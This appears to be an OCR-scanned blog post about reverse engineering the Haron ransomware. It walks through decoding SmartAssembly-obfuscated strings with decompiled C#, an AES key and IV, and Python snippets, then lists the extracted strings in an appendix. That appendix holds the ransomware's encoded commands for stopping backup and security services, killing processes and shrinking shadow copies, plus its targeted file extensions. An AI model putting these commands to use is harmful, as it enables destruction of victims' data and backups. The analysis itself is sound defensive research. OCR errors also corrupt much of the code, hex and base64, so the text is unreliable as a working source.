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Recently Haron ransomware emerged[ 1] reported to be based on Avaddon and Thanos. The .NET based malware
does have a lot of similarity to Thanos which had its builder leaked[2]. Using de4dot[3] we can quickly rename all
the functions in the .NET binary for easier reverse engineering but for some reason my version didn’t decode out
the resource section where most of the strings are contained. I’ve ran into this a few times and if we check the
Github repo we notice that the repo for de4dot has been archived and the SmartAssembly[4] decoding section

hasn’t been updated in awhile.

I decided then to dump my notes on manually decoding the SmartAssembly resource data because I believe in the

importance of understanding how things work over relying on tools, if you understand how things work then the
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tools become helpful but if you don’t then when they stop working you are stuck.

We’ll be working with the sample listed in the blog[2]:

bebb78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c

Throughout most of the sample you will notice that the strings are retrieved using a function.

OfqRoEA == GROFeQEQTEG. HEll(107396836) )

iread”

internal static GetString ;

TigrPUcEDCaa))

Within the onboard SmartAssembly is all the relevant code we need to decode the data. The strings are stored in

the onboard resource:

public static string Get(int num)

{

num A= 107396847;

num -= Strings.offset;

if (!Strings.cacheStrings)

{

return Strings.GetFromResource(num);

}

return Strings.GetCachedOrResource(num);

}

And the resource data is passed to the onboard SmartAssembly SimpleZip package:

using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{e

{

int num = Convert.ToInt32(manifestResourceStream.Length);

byte[] array = new byte[num];

manifestResourceStream.Read(array, @, num);

Strings.bytes = SimpleZip.Unzip(array);

The resource data appears to have header on it but it doesn’t appear to be related to a compression routine:

00000000:
00000010
00000020:
00000030:
00000040:
00000050:
00000060

7b7a
al36
e3ff
1815
4efc
8792
e739

7d03 bd7f
bff2 7555
cd43 7ca8
4212 d2ae
a196 b849
beaf 4bfd
320 b307

953e
9ab?
bf19
4160
8762
0430
426e

alca
6chd
aff2
1240
917c
2263
222a

bbad
35ff
abdc
5751
2c2c
ad2f

fcaa

b1f2 97b6 {z}....>........
3e27 d40a .6..uU..1.5.>"..
2abe fc57 ...C|...... L*A W
cbce 126e ..B...0'.@WQ...n
4888 52da N....I.b.|,, H.R.
d943 eda9 ..n.K..0"c./.C..
d8de 9fd9 .97 ..Bn"*......
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00000070: c623 6c81 6c53 507f 3f42 c49c 1bdc 6712 .#1.1SP.7B....qg.
00000080: c57b 825a 4512 22df 6e64 60a2 124d 3520 .{.ZE.".nd‘..M5
00000090: fbac 7209 0c85 1127 fd34 4b32 275a f4f0 ..r....'.4K2'Z..

Taking a look at the Unzip function:

public static byte[] Unzip(byte[] array)
{
SimpleZip.ZipStream zipStream = new SimpleZip.ZipStream(array);
byte[] array2 = new byte[0];
int expr_14 = zipStream.ReadInt();
int num = expr_14 >> 24;
if (expr_14 - (num << 24) == 8223355)
{
switch (num)
{
case 1:
{
int num2 = zipStream.ReadInt();
array2 = new byte[num2];
int num4;
for (int 1 = 0; i < num2; i += num4)
{
int num3 = zipStream.ReadInt();
num4 = zipStream.ReadInt();
byte[] array3 = new byte[num3];
zipStream.Read(array3, @, array3.Length);
new SimpleZip.Inflater(array3).Inflate(array2, i, numd);
}
goto IL_119;
}

We can see a header check:

>>> struct.pack('<I", 8223355)
"{z}\x00'

Followed by a switch statement based on the byte value after ‘{z}’, in our instance this value is ‘3’ which ends up

being for AES decrypting the data:

using (ICryptoTransform aesTransform = SimpleZip.GetAesTransform(byte_, byte_2, true))
{
array = SimpleZip.Unzip(aesTransform.TransformFinalBlock(byte_@, 4, byte_0.Length - 4));
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goto IL_116;
}

Python POC code for decoding this layer:

>>> key

[173, 71, 103, 143, 24, 92, 171, 185, 16, 72, 196, 74, 61, 106, 24, 171]
>>> iv

[185, 68, 36, 124, 25, 234, 226, 209, 103, @, 216, 152, 89, 46, 55, 63]
>>> key = "'.join(map(chr, key))

>>> key

"\xadGg\x8f\x18\\\xab\xb9\x10H\xc4J=j\x18\xab'

>>> iv = ''.join(map(chr,iv))

>>> iv

"\xb9D$ | \x19\xea\xe2\xd1g\x00\xd8\x98Y.7?"

>>> aes = AES.new(key, AES.MODE_CBC, iv)

>>> t = aes.decrypt(data[4:])

>>> t[:100]

"{z}\x010}\x00\x00\x1d8\x00\x000}\x00\x00\xcd\xbd; s\xe3\xc8\xb6&z\r\x192\xca(\xa3\x8d2\xdahc\x8c\x8e

So the decrypted data has another ‘{z}’ header on it but this time the byte for the switch statement is ‘1°.

Get Jason Reaves’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

Which will lead to FLATE decompression:

>>> struct.unpack_from('<IIII', t)

(25000571, 32079, 14365, 32079)

>>> z1lib.decompress(t[16:],-15)

"\x04WUVT\x10VkdGemEyMW5jZz09\x10ZEdGemEyMW5]Zz09\x 1cVUhKdlkyVnpjMGhoWTJObGNNPTO=\x10YOhKd1kyVjRjQT@

Looks like we now have a long string of base64 encoded data preceded by the length of the string, after parsing
out and decoding all the strings we are left with a long list of strings[ Appendix 1] and some of them are further
Base64 encoded:

NDASNiE8UTNBS2V5VmFsdWU+PETvZHVsdXM+aWIvYm@yWUTHOEFnd2xXSVATY jhZbEThUVN3T1VqaUd6SUMXNEpMYm8rV3JkaVIz!

Decoded:

4096!<RSAKeyValue><Modulus>ib/bm2YMG8AgwLWIWSb8Y1MaQSwNUjiGzIC14]ILbo+WrdiR3QCQCRYQM@5a20M5iWLNIHE7OK
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So let’s loop through and try to decode out all the secondary base64 encoded strings, some of which appear to be

reversed similar to Thanos ransomware:

>>> for val in strings:
try:
print(base64.bb4decode(val))
except:
try:
print(base64.bb4decode(vall::-1]))
except:
pass

The full list can be found in Appendix 2 but an interesting one stands out:

Thanos

References
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A W N =

Appendix

YES

VGFza21ncg==
dGFza21ncg==
UHJvY2VzcBhhY2tlcg==
cHIVY2V4cA==
cHIvY2V4cDY0
U2VOLUTwUHI1ZmVyZW5§ZSAtRW5hYmx1Q29udHIvbGx 1ZEZvbGR1ckF jY2VzcyBEaXNhYmx1ZA==
\

Config.enc
PriorityPath=
X:\CustomPath1
Z:\CustomPath2
\\Domain\Path\Folder
Networks=

true

false

NO

Configuration text file error:
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cmd. exe

L2MgcmQqgL 3MgL3EgIVNZUTRFTURSSVZFIVxcIFI1Y31jbGUuYmlu
J5GZY2K36F0A3R3S2ZEWUQXQ1ZD1I6F5

Q2xpZW50IE1Q0iA=
aHRAcDovL21jYW50YXppcC5jb20=RGFOZSBvZiB1bmNyeXBOaWIuOiA=
Q2xpZW50IFVuaXF1ZSBJZGVudGlmaWVyIEtleTogAdditional KeyID:
Error while creating Local Report:

Installer...

Ctri+Shift+X

Files securing is about to start...

A:\

B:\

C:\

D:\

N < X = <« ¢ 4 lnn W O T O = =2 rmMm R o H+H T o m m
P P R G T

dat
txt
jpeg
gif
ipg
png
php
CS
cpp
rar

zip
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html
htm
x1sx
x1s
avi
mp4
ppt
doc
docx
sxi
SXW
odt
hwp
tar
bz2
mkv
eml
msg
ost
pst
edb
sql
accdb
mdb
dbf
odb
myd
java
pas
asm
key
pfx
pem
p12
csr
gpg
aes
vsd
odg
raw
nef
svg
psd
vmx
vmdk
vdi
layb
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sqlite3

sqlitedb

class

mpeg

djvu

tiff

backup

pdf

cert

docm

xlsm

dwg

bak

qbw

nd

tlg

lgb

pptx

mov

xdw

ods

wav

mp3

aiff

flac

mda

csv

ora

mdf

ldf

ndf

dtsx

rdl

dim

mrimg

qbb

rtf

7z

.chaddad

Finish process:
\RESTORE_FILES_INFO.txtLSOtLSOtLTA9PSBZb3VyIG51dHdvecmsgaGFzIGI1ZWAgall5mZWNOZWQhIDAIPSOtLS@tLSONCgOKDI
S2V5IE1kZW50aWZpZXI6IA==
TnVtYmVyIGImIGZpbGVzIHRoYXQgd2VyZSBwem9jZXNzZWQgaXM6IA==
UEMgSGFyZHdhcmUgSUQ6IA==Additional KeyId:\RESTORE_FILES_INFO.hta
PCEtLSAjIyMjIyMjICBZQVksIEkgQU@gVEhFIFNPVVIDRSBFRETUT1INICM]jIyMjIyMjIy0tPgo8cCBzdH1sZTAidGYV4dCThbGLnl
PC9wPg==

PHAgc3R5bGUIINR1eHQt YWxpZ2461GN1bnR1cjsiPg==
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URL

USERNAME
ACCESOUGYzc211bGUgYWZmZWNOZWQgZmLsZXMEIA==
bm90ZXBhZ(51eGU=
bXNodGEuZXhl

Error deleting config text file:
ATl Done!

EVET
VGhpcyBwem9InemFtIHI1cXVpemVzIETpY3Jvc29mdCAuTKVUIEZyYW11d29yayB2LiAOL jgyIGIyIHNTcGVyaW9yIHRvIHI1biBw
SW5mb3JtYXRpb24ulLid=
C:\Program Files\
C:\Program Files (x86)\
:\Windows\

perflogs

internet explorer
:\ProgramData\
\AppData\

msocache

system volume information
boot

tor browser

mozilla

appdata

google chrome
application data
autoexec.bat
desktop.ini

autorun.inf

ntuser.dat

NTUSER.DAT

iconcache.db
bootsect.bak

boot.ini

ntuser.dat.log
thumbs.db

bootmgr

pagefile.sys

config.sys

ntuser.ini
QnVpbGR1c19Mb2c=
RSAKeys
RESTORE_FILES_INFO

exe

dil

EXE

DLL

Recycle.Bin
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select * from Win32_NetworkConnection
\\
A\
IPC$
powershell
\\\\[a-zA-Z0-9\.\-_1{1,}(\\[a-zA-Z0-9\-_1{1, 1) {1, }[\$1{0,1}
Network scanning completed...
tVGadz13UcNXZpNWas9GUc52bpNnc1ZFduVmcyV3QcN3dvRmbpdFX@Z2bz9me j IWTcVkUBAFVGIQU
TG9jYWxBY2NvdW50VGIrZW5GalWx@ZXIQb2xpY 3k=
RW5hYmx1TGlua2VkQ29ubmVjdGLlvbnM=
Scanning for manually mapped resources...
Scanning for manually mapped resources completed...
€G937XJzaGVshC51eGU=
&
==wcu9WalB3Tg42bpRXdjVGeFBSZs1mRgU2ZhTWSc52bpNnc1ZFduVmcyV3QcR1TgM3dvRmbpdFX@Z2bz9me j IWTcVkUBAFVGIQU
dnNzYWRtaW4uzZXhl
d21pYy51leGU=
d2JhZG1pbi51leGU=
YmNkZWRpdC51eGU=
ZG1lza3NoYWRvdy5leGU=
bmVOLmV4ZQ==
u9WalF2YpxGcwFEXn9GTO5WZ2VEXZV2YpZnc INFXOV2Us9mc@52bDRnb1Inc INEXNVEVT11U
UmFjY21uZQ==
=UkUBdFVG90U
dGFza2tpbGw=
LOYgLOINIFIhY2NpbmVTZXROaW5ncy51eGU=
cmVn
ZGVsZXR1ICJISONVXFNPRIRXQVIFXE1pY3Jvc29mdFxXaW5kb3dzXENTcnIbnRWZXJzaW9uXFI1biIgL1YgI1IhY2NpbmUgVHIh
ZGVsZXR1IEhLQ1VcU29mdHdhemVcUmFjY21uZSAvRg==
c2NodGFza3M=
LORFTEVURSAVVE4gI1JhY2NpbmUgUnVsZXMgVXBkYXR1ciIgL@Y=
R290QWxsRG9uZQ==
==Qb1R3c5NVZs ImRcx2byRnbvNEXOV2Us9mc@52bDRnb1Inc INEXNVEVTL1U
TG9uZ1BhdGhzRW5hYmx1ZA==
bmV@c2g=
YWR2ZmlyZXdhbGwgZmlyZXdhbGwgc2V@OIHI1bGUgZ3IvdXA9XCIO0ZXR3b3Ir IERpc2NvdmVyeVwiIG51dyBlbmFibGUIWWYZz
YWR2Zm1lyZXdhbGwgZmlyZXdhbGwgc2VOIHI1bGUgZ3IvdXA9XCIGaWx 1IGFuZCBQcmludGVyIFNoYXIpbmdcIiBuZXcgZW5hYmx1
LOMgcGluZyAxMjcuMC4wL jcgLWagMyA+IE51bCAMIGZzdXRpbCBmaWx 1IHNTdFplcmIEYXRhIGIMZNN1dDOWIGX Lbmd@aD@1MjQy
LOMgY2hvaliINLICIDIFkgL@4gL@QgWSAVVCAZICYgRGVSIA==
File:
- Error while removing readonly attribute:
95
2222A
98SE
98
Me
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NT 3.51

NT 4.0

2000

XP
Vista

7

8

8.1

10
WindowsError while writing Temp Folder Report:
[auto]

Qzpc

.*

.part

- Error while fully writing to file:
c2MuzZXh1l
dGFza2tpbGwuZXhl

/IM

/f

1hXZu4WatRWYzNnd
ZGVsLmV4ZQ==

10.

172.

192.168.

\Users

100000000

0

bHNhc3MuZXhl
c3ZjaHNOLmV4ZQ==
Y3Jjc3MuZXhl
Y2hyb211MzIuZXhl
ImlyZWZve(C51eGU=
Y2FsYy51leGU=
bX1zcWxkLmV4ZQ==
ZGxsaHN@OLmV4ZQ==
b3BlcmEzMi51eGU=
bWVtb3AuzZXhl
c3Bvb2xjdi5leGU=
Y3RmbWItLmV4ZQ==
U2t5cGVBcHAuZXhl
03187640-a7db-4a1d-b726-2be1af1fc283
c3RhcnQgRG5zY2F jaGUgL 3k=
c3RhcnQgRkRSZXNQAWIgL 3k=
c3RhcnQgUTNEUFNSViAveQ==
c3RhcnQgdXBucGhvc3Qgl 3k=
c3RvcCBhdnBzdXMgl 3k=
c3RvcCBNYOFmZWVETFBBZ2VudFN1lcnZpY2Ugl 3k=
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c3RvcCBtZmV3YyAveQ==
c3RvcCBCTVIgQmIvdCBTZXJ2aWNTIC95
c3RvcCBOZXRCYWNrdXAgQk 1STETURTRQIFN1cnZpY2UgL 3k=
c3RvcCBEZWZXYXRjaCAveQ==
c3Rvc(BjYOV2dETnciAveQ==
c3RvcCBjYINLdETnciAveQ==

c3RvcCBTYXZSb2FtIC95

c3RvcCBSVFZzY2FuIC95
c3RvcCBRQkZDU2VydmljZSAveQ==
c3RvcCBRQkLEUFNTcnZpY2UgL 3k=
c3RvcCBIbnR1aXQuUXVpY2tCb29rcy56QTMgL3k=
c3RvcCBRQkNGTWIuaXRvcINlcnZpY2Ugl 3k=
c3RvcCBZb29CYWNrdXAgL 3k=

c3RvcCBZb29]VCAveQ==
c3RvcCBbaHVkb25nZmFuz3111C95
c3RvcCBzdGNfcmF3X2FnZW501C95
c3RvcCBWUB5BUFZTUyAveQ==
c3RvcCBWZWVhbVRYYW5zcG9ydFN2YyAveQ==
c3RvcCBWZWVhbURTcGxvel11bnRTZXJ2aWN1IC95
c3RvcCBWZWVhbU5GUTN2YyAveQ==
c3RvcCB2ZWVhbSAveQ==
c3RvcCBQRFZGUTN1cnZpY2UgL 3k=
c3RvcCBCYWNrdXBFeGVjVINTUHIvdmlkZXIgL 3k=
c3RvcCBCYWNrdXBFeGVjQWd1bnRBY2N1bGVyYXRvciAveQ==
c3RvcCBCYWNrdXBFeGVjQWdlbnRCcm93c2VyIC95
c3RvcCBCYWNrdXBFeGVjRG12ZWNpTWVkaWFTZXJ2aWN1IC95
c3RvcCBCYWNrdXBFeGVjSm9iRW5naW51IC95
c3RvcCBCYWNrdXBFeGVj TWFuYWdlbWVudFN1cnZpY2UgL 3k=
c3RvcCBCYWNrdXBFeGVjU1BDU2VydmljZSAveQ==
c3Rvc(CBBY31TY2gyU3ZjIC95
c3RvcCBBY3JvbmlzQWdlbnQgL 3k=
c3RvcCBDQVNBRDIEV2ViU3ZjIC95
c3RvcCBDQUFSQ1VwZGFOZVN2YyAveQ==
c3RvcCBzb3Bob3Mgl 3k=
c3RvcCDigIxBY3JvbmlzIFZTUyBQcm92aWR1cuKAnSAveQ==
c3RvcCBNcOROcINlcnZlciAveQ==
c3RvcCBISVNBZG1pbiAveQ==
c3RvcCBNU@V4Y2hhbmdLRVMgL 3k=
c3RvcCDigJxTh3Bob3MgQWd1bnTigJ@gL 3k=
c3RvcCBFcmFzZXJTdmMxMTcxMCAveQ==
c3RvcCDigJxFbnR1cnByaXNTIENsaWVudCBTZXJ2aWN140CdIC95
c3RvcCDigIxTUUwgQmF ja3VwcyAveQ==
c3RvcCBNcORACcINLcnZ1cjEwWMCAveQ==
c3RvcCBOZXRNc21xQWN@aXZhdG9yIC95
c3RvcCBNU@V4Y2hhbmd1SVMgL 3k=
c3RvcCDigJxTh3Bob3MgQXV@b1VwZGFOZSBTZXJ2aWN140CdIC95
c3RvcCBTYW1TcyAveQ==
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c3RvcCBSZXBvcnRTZXJ2ZXIgL 3k=
c3RvcCDigIxTUUxzYWZ1IEJhY2t1cCBTZXJ2aWN140CdIC95
c3RvcCBNc@ROcTN1cnZ1cjExMCAveQ==

c3RvcCBQT1AzU3Z;jIC95

c3RvcCBNU@V4Y2hhbmd1TUdNVCAveQ==
c3RvcCDigIxTh3Bob3MgQ2x1YW4gU2VydmljZeKAnSAveQ==
c3RvcCBTTVRQU3Z;jIC95
c3RvcCBSZXBvcnRTZXJ2ZXIkU1FMXzIwMDggL 3k=
c3RvcCDigIxTUUxzYWZ1IEZpbHR1ciBTZXJ2alN140CdIC95
c3RvcCBtc2Z@ZXNxbCRQUKIEICI5

c3RvcCBTc3RwU3Z;jIC95

c3RvcCBNU@V4Y2hhbmd1TVRBIC95
c3RvcCDigIxTh3Bob3MgRGV2aWNTIENvbnRyb2wgU2Vydm1ljZeKAnSAveQ==
c3RvcCBSZXBvcnRTZXJ2ZXIkUT1TVEVNX@IHQyAveQ==
c3RvcCDigIxTeWThbnR1YyBTeXNOZWAgUmVjb3Z1cnnigl@gl 3k=
c3RvcCBNU@IMQVAKUTFMXzIwMDggL 3k=
c3RvcCBVSTBEZXR1Y3QgL 3k=

c3RvcCBNU@V4Y2hhbmd1UGEGL 3k=
c3RvcCDigJxTh3Bob3MgRm1sZSBTY2FubmVyIFNlcnZpY2XigJ@gL3k=
c3RvcCBSZXBvcnRTZXJ2ZXIkVFBTIC95
c3RvcCDigIxWZWVhbSBCYWNrdXAgQ2F@YWxvZyBEYXRhIFN1cnZpY2XigJegl 3k=
c3RvcCBNU@IMQVAKUTLTVEVNX@IHQyAveQ==
c3RvcCBXMTN2YyAveQ==

c3RvcCBNU@V4Y2hhbmdUTITIC95
c3RvcCDigJxTh3Bob3MgSGVhbHRoIFN1cnZpY2XigJegL 3k=
c3RvcCBSZXBvcnRTZXJ2ZXIkVFBTQU1BIC95
c3RvcCDigJxab29seiAyIFNlcnZpY2XigJ@gl 3k=
c3RvcCBNU@IMQVAKVFBTIC95
c3RvcCDigJxhcGhpZG1vbml@b3JzZXJ2aWN140CdICI5
c3RvcCBtc2V4Y2hhbmd1YWROb3BvbGIneSAveQ==
c3RvcCDigJxTh3Bob3MgTUNTIEFNZW5040CdIC95
c3RvcCBNU@IMQVAKVFBTQUTBICI5
c3RvcCDigIxpbnR1bChyKSBwcm9zZXQgbW9uaXRvemluZyBzZXJ2aWN140CdIC95
c3RvcCBtc2V4Y2hhbmdlaW1hcDQgL3k=
c3RvcCDigIxTh3Bob3MgTUNTIENsaWVudOKAnSAveQ==
c3RvcCBBUINNIC95

c3RvcCBNUTNRTCRCS1VQRVhFQyAveQ==
c3RvcCB1bmlzdG9yZXN2Y18xYWYOMGEgL 3k=
c3RvcCDigJxTh3Bob3MgTWVzc2FnZSBSh3V@ZXLigJOgL 3k=
c3RvcCBNUTNRTCRFQ1dEQjIgL 3k=
c3RvcCBhdWRpb2VuZHBvall50YnVpbGR1ciAveQ==
c3RvcCDig)xTh3Bob3MgU2FmZXN@b3J1IFN1cnZpY2XigJegl 3k=
c3RvcCBNUTNRTCRQUKFDVELDRUTHVCAveQ==
c3RvcCDigIxTh3Bob3MgU31zdGVtIFByb3R1Y3Rpb24gU2VydmljZeKAnSAveQ==
c3RvcCBCYWNrdXBFeGVjRGYV2aWNTTWVkaWFTZXJ2aWN1IC95
c3RvcCBNUTNRTCRQUKFDVFRIQ@OVCROMgL 3k=
c3RvcCDigJxTh3Bob3MgV2ViIENvbnRyb2wgU2VydmljZeKAnSAveQ==
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c3RvcCBNUTNRTCRQUKIEIC95
c3RvcCBNUTNRTCRQUK9GWEVOR@FHRUTFT1QgL 3k=
c3RvcCBBbnRpdmlydXMgL3k=
c3RvcCBNUTNRTCRTQUNNT@5JVE9SSUSHIC8=
c3RvcCBNUTNRTCRTQUNNT@5JVE9SSUSHIC95
c3RvcCBBV1AgL3k=
c3RvcCBNUTNRTCRTSEFSRVBPSU5SUIC95
c3RvcCBEQOFNZW50IC95

c3RvcCBiZWRiZyAveQ==
c3RvcCBNUTNRTCRTUUxfMjAwOCAveQ==
c3RvcCBFaHROcFNydiAveQ==

c3RvcCBNTVMgL 3k=
c3RvcCBNUTNRTCRTUUXFWFBSRVNTIC95
c3Rvc(CB1a3JulC95
c3Rvc(Btb3p5cHIvYmFja3vwIC95
c3RvcCBNUTNRTCRTWVNURU1fQkdDIC95
c3RvcCBFUFN1Y3VyaXR5U2VydmljZSAveQ==
c3RvcCBNUTNRTCRWRUVBTVNRTDIwMDhSMiAveQ==
c3RvcCBNUTNRTCRUUFMgL 3k=
c3RvcCBFUFVwZGF@ZVN1cnZpY2UgL3k=
c3RvcCBudHJ@c2NhbiAveQ==
c3RvcCBNUTNRTCRUUFNBTUEgGL 3k=
c3RvcCBFc2dTaEtlecm51bCAveQ==
c3RvcCBFUGhBU1IWICI95

c3RvcCBTRFITVkMgL3k=
c3RvcCBNUTNRTCRWRUVBTVNRTDIWMTIgL 3k=
c3RvcCBGQVITY2h1ZHVsZXIgL 3k=
c3RvcCBTUUxBZ2VudCRWRUVBTVNRTDIwMDhSMiAveQ==
c3RvcCBNUTNRTEZETGF 1bmNoZXIkUFJPR1hFTkdBRAVNRUSUIC95
c3RvcCBLQVZGUyAveQ==
c3RvcCBTUUxXcm10ZXIgL3k=

c3RvcCBNUTNRTEZETGF 1bmNoZXIkU@JITTU9OSVRPUKTORyAveQ==
c3RvcCBLQVZGUAdUICI95
c3RvcCBWZWVhbUJIhY2t1cFN2YyAveQ==
c3RvcCBNUTNRTEZETGF 1bmNoZXIkU@GhBUkVQTO10VCAveQ==
c3RvcCBrYXZmc3NscCAveQ==
c3RvcCBWZWVhbUIyb2t1c1IN2YyAveQ==
c3RvcCBNUTNRTEZETGF 1bmNoZXIkU1FMXzIwMDggL 3k=
c3RvcCBrbG5hZ2VudCAveQ==
c3RvcCBWZWVhbUNhdGFsb2dTdmMgL 3k=
c3RvcCBNUTNRTEZETGF TbmNoZXIkU11TVEVNX@JHQyAveQ==
c3RvcCBtYWNtbnN2YyAveQ==
c3RvcCBWZWVhbUNsh3VkU3Z3iIC95
c3RvcCBNUTNRTEZETGF 1bmNoZXIkVFBTIC95
c3RvcCBtYXN2YyAveQ==

c3RvcCBNUTNRTEZETGF 1bmNoZXIkVFBTQU1BIC95
c3RvcCBNQkFNU2Vydm1jZSAveQ==
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c3RvcCBWZWVhbUR1cGxveVN2YyAveQ==
c3RvcCBNUTNRTFNFULZFUiAveQ==
c3RvcCBNQkVuZHBvaW50QWd1lbnQgL3k=
c3RvcCBWZWVhbUVudGVycHIpc2VNYW5hZ2VyU3ZIC95
c3RvcCBNUTNRTFNlcnZ1ckFESGVscGVyIC95
c3RvcCBNY@FmZWVFbmdpbmVTZXJ2aWN1IC95
c3RvcCBWZWVhbUh2SW50ZWdyYXRpb25TdmMgL 3k=
c3RvcCBNUTNRTFNLcnZ1ckFESGYscGVYMTAWIC95
c3RvcCBNY@FmZWVGemFtZXdvemsglL3k=
c3RvcCBWZWVhbU1vdW50U3Z31C95
c3RvcCBNUTNRTFN1cnZ1ck9MQVBTZXJ2aWN1IC95
c3RvcCBNYOFmZWVGemFtZXdvemtNYOFmZWVGemFtZXdvemsgl 3k=
c3RvcCBNeVNRTDU3IC95
c3RvcCBNYTNoaWVsZCAveQ==
c3RvcCBWZWVhbVIFUTRTdmMgL 3k=
c3RvcCBNeVNRTDgwIC95
c3RvcCBNYTRhc2tNYW5hZ2VyIC95

c3RvcCBPcmF jbGYDbG11bnRDYWNoZTgwIC95
c3RvcCBtZmVmaXJ1IC95
c3RvcCB3YmVuZ21uZSAveQ==
c3RvcCBtZmVtbXMgL3k=
c3RvcCBSRVN2YyAveQ==
c3RvcCBtZmV2dHAgL3k=
c3RvcCBzbXNfc210ZV9zcWxfYmFja3VwIC95
c3RvcCBTUUXxBZ2VudCRCSTVQRVhFQyAveQ==
c3RvcCBNUTNRTCRTT1BIT1MgL 3k=
c3RvcCBTUUXxBZ2VudCRDSVRSSVhfTUVUQUZSQUTFICY95
c3RvcCBzYWNzdnIglL3k=
c3RvcCBTUUxBZ2VudCRDWERCIC95
c3RvcCBTQVZBZGTpb1NlcnZpY2UgL3k=
c3RvcCBTUUxBZ2VudCRFQ1dEQjIgL3k=
c3RvcCBTQVZTZXJ2aWN1IC95
c3RvcCBTUUxBZ2VudCRQUkFDVFRIQ@VCROMgL 3k=
c3RvcCBTZXBNYXN@OZXITZXJ2aWNT1IC95
c3RvcCBTUUxBZ2VudCRQUkFDVFRIQ@VNR1QgL 3k=
c3RvcCBTaET1vbml@b3IgL3k=
c3RvcCBTUUXxBZ2VudCRQUKIEICI5
c3RvcCBThWNpbnN@OIC95
c3RvcCBTUUxBZ2VudCRQUk9GWEVOR@OFHRUTFT1QgL3k=
c3RvcCBTbWNTZXJ2aWN1IC95
c3RvcCBTUUXBZ2VudCRTQINNT@5IVE9SSUSHIC95
c3RvcCBTbnRwU2Vydm1jZSAveQ==
c3RvcCBTUUXBZ2VudCRTSEFSRVBPSU5UIC95
c3RvcCBzb3Bob3NzcHMgL3k=
c3RvcCBTUUXBZ2VudCRTUUX fMjAwOCAveQ==
c3RvcCBTUUXBZ2VudCRTT1BIT1MgL3k=
c3RvcCBTUUXBZ2VudCRTUUXFWFBSRVNTIC95
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c3RvcCBzdmNHZW51cm1jSG9zdCAveQ==
c3RvcCBTUUXxBZ2VudCRTWVNURU1fQkdDIC95
c3RvcCBzd21fZmlsdGVyIC95
c3RvcCBTUUxBZ2VudCRUUFMgL 3k=
c3Rvc(CBzd21fc2VydmljZSAveQ==
c3RvcCBTUUXxBZ2VudCRUUFNBTUEgQL3k=
c3RvcCBzd21fdXBkYXR1IC95
c3RvcCBzd21fdXBkYXR1XzYQIC95
c3RvcCBTUUXxBZ2VudCRWRUVBTYNRTDIWMTIgL 3k=
c3RvcCBUbUNDU@YgL3k=
c3RvcCBTUUxCcm93c2VyIC95
c3Rvc(BObWxpc3R1biAveQ==
c3RvcCBTUUXTYWZ1T@xSU2VydmljZSAveQ==
c3RvcCBUcnV1S2V5IC95
c3RvcCBTUUXTRVIWRVIBROVOVCAveQ==
c3RvcCBUcnV1S2V5U2NoZWRTbGVyIC95
c3RvcCBTUUXURUXFTUVUUkgL 3k=
c3RvcCBUcnV1S2V5U2Vydm1jZUh1bHB1ciAveQ==
c3RvcCBTUUXURUXFTUVUUTkkRUNXREIYIC95
c3RvcCBXUTNWQyAveQ==
c3RvcCBtc3NxbCR2alW1fc3FsZXhwIC95
c3RvcCB2YXBpZW5kcGIpbnQgL 3k=
Y29uZmlnIERuc2NhY2h1IHN@YXJOPSBhdXRv
Y29uZmlnIEZEUmVZzUHViIHN@OYXJ@PSBhdXRv
Y29uZmlnIFNTRFBTU1Ygc3RhcnQ9IGF1dG8=
Y29uZmlnIHVwbnBob3NOIHNOYXJ@PSBhdXRv
Y29uZmUnIFNRTFRFTEVNRVRSWSBzdGFydD@gZG1zYWIsZWQ=
Y29uZmlnIFNRTFRFTEVNRVRSWSRFQ1dEQjIgc3RhcnQ9IGRpc2FibGVk
Y29uZmlnIFNRTFdyaXR1lciBzdGFydD@gZG1zYWIsZWQ=
Y29uZmlnIFNzdHBTdmMgc3RhcnQ9IGRpc2FibGVk
LOINIGTzcHVilmV4ZSAvRg==
LOINIG15ZGVza3RvcHFvcy51leGUgLoY=
LOINIG15ZGVza3RvcHN1cnZpY2UuZXh1IC9G
LOINIGT5¢c3FsZC51eGUgLAY=
LOINIHNXYmNvemVzZXJ2aWN1LmV4ZSAvRg==
LOINIGZpcmVmb3hjb25malicuZXh1IC9G
LOINIGFnbnRzdmMuZXh1IC9G
LOINIHRoZWIhdC51eGUgL@Y=
LOINIHN@ZWFtLmV4ZSAvRg==
LOTNIGVuY3N2Yy5leGUgL@Y=
LOINIGVAY2VsLmV4ZSAvRg==
LOINIENOVEFvU@Tnci5leGUgLOY=
LOINIHNxbHdyaXR1lci51eGUgLOY=
LOINIHRiaXJkY29uZmlnLmV4ZSAvRg==
LOINIGRiZW5nNTAuZXh1IC9G
LOINIHRoZWIhdDY@LmV4ZSAvRg==
LOINIG9jb21tLmV4ZSAVRg==
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LOINIGLuZmI9wYXRoLmV4ZSAvRg==

LOINIGTiYW1@cmF5LmV4ZSAvRg==

LOTINIHpvb2x6LmV4ZSAvRg==

SUBgdGh1bmR1cmIpcmQuzZXh1IC9G

LOINIGRic25tcC51eGUgLAY=

LOINIHhmc3N2Y2Nvbi51eGUgLOY=

LOINIE5@cnRzY2FulmV4ZSAvRg==

LOINIGLzcWxwbHVzc3ZjLmV4ZSAvRg==

LOINIG9uZW5vdGUuZXh1IC9G

LOINIFBjY@5UTWIuLmV4ZSAvRg==

LOINIGTzYWNjZXNzLmV4ZSAvRg==

LOINIGITdGxvb2suZXh1IC9G

LOINIHRtbG1zdGVuLmV4ZSAvRg==

LOINIGTzZnR1c3FsLmV4ZSAvRg==

LOINIHBvd2VycG50LmV4ZSAvRg==

LOINIHZpc21vLmV4ZSAvRg==

LOINIHdpbndvemQuZXh1IC9G

LOINIG15¢c3FsZCTudC51eGUgLOY=

LOINIHdvemRwYWQuZXh1IC9G

LOINIGT5¢c3FsZC1vcHQuZXh1IC9G

LOTINIGIjYXV@Ob3VwZHMuZXh1IC9G

LOTINIGI9jc3NkLmV4ZSAvRg==

LOINIGIYYWNSZS51eGUgL@Y=

LOINIHNXbGFnZW50LmV4ZSAvRg==

LOINIHNxbGIyb3dzZXIuZXh1IC9G

LOTNIHNXbHN1cnZyLmV4ZSAvRg==

LOUNIHNSbmN@aW11LmV4ZSAvRg==

=QXZpVXcvACbsF2LgM3dvRWYoNFI1RXZsVGR
cmVzaXp1IHNoYWRvd3N@b3IhZ2UgL2Zvcj1j0iAvb249Yzogl21heHNpemUINDAXTUI=
cmVzaXpLIHNoYWRvd3N@b3JIhZ2UgL2Zvcj1j0iAvb249Yzogl2TheHNpemU9dW5ib3VuZGVk
